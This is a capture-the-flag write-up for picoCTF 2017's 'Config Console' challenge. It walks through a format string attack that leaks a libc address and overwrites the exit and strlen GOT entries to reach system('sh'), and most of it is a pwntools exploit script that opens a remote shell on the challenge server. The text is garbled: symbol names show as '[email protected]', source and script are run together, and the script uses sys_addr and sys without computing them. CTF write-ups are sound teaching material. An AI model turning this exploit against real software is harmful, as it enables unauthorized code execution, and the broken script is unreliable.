# Config Console

#### Writeup by hgarrereyn

• Binary Exploitation
• 125 points
• Description: In order to configure the login messsage for all the users on the system, you've been given access to a configuration console. See if you can get a shell on shell2017.picoctf.com:26325. console Source

# Solution

This program was vulnerable to a format string attack. The following is from the set_exit_message function:

printf("Exit message set!\n");
printf(message);

append_command('e', message);
exit(0);


In order to get the program to allow multiple format strings, I overwrote [email protected] with the address for the loop function so that we will have more opportunities to use our attack. The message buffer is stored on the stack so this part isn't difficult.

Now, we have to figure out how to call system.

I leaked a libc address via %2$lx and was able to calculate the offset to system by running the binary on the webshell in gdb. Then it is relatively simple to do multiple writes and overwrite [email protected] with the address to system. Once this is completed, we can call the set_prompt function which calls strlen for us on the buffer object: void set_prompt(char *prompt) { if (!prompt) { printf("No prompt chosen\n"); exit(1); } if (strlen(prompt) > 10) { printf("Prompt too long\n"); exit(1); } printf("Login prompt set to: %10s\n", prompt); append_command('p', prompt); exit(0); }  If we send p sh the program will call set_prompt("sh") and we will have shell. # Script exploitConfigConsole.py # By Harrison Green <hgarrereyn> from pwn import * import re # Returns a string that writes up to two bytes to a specific memory address # via a format string attack def w(addr_raw, byte, one_byte): addr = str(hex(addr_raw))[2:] print(str(addr) + ' > ' + str(byte)) val = str(int(byte,16)).zfill(4) addrStr = "" for i in range(0,len(addr),2): addrStr += chr(int(addr[i:i+2],16)) s = "e %" + val + "x%16$h" + ("hn" if one_byte else "na") + "a" + addrStr[::-1] + (chr(0) * 5)
return s

EXIT_GOT = 0x601258
STRLEN_GOT = 0x601210

# Connect
sock = remote('shell2017.picoctf.com', 26325)

# Overwrite EXIT_GOT with the address for loop() so the program loops instead
# of exiting
sock.send('e %2493x%16$hnaa\x58\x12\x60\x00\x00\x00\x00\x00\n') # Fetch reference address sock.send('e <%2$lx>\n')

# Parse reference address
resp = sock.recvuntil('>')
print('[' + resp + ']')
addr = int(re.search(r'<([a-f0-9]*)>', resp).group(1), 16)

# Calculate system address
print('System should be at: ' + str(hex(sys_addr)))

# Prepare multistep format string attack
sy = []

for i in range(0,len(sys),2):
sy.append(str(hex(int(sys[i:i+2],16)))[2:])

sy = sy[::-1]

# Overwrite strlen with system
for i in range(0,len(sy)):
sock.send(w(STRLEN_GOT+i, sy[i], True) + '\n')
sock.recvuntil('Config')

# Get shell by calling system('sh')
sock.send('p sh\n')

# We've got shell
sock.interactive()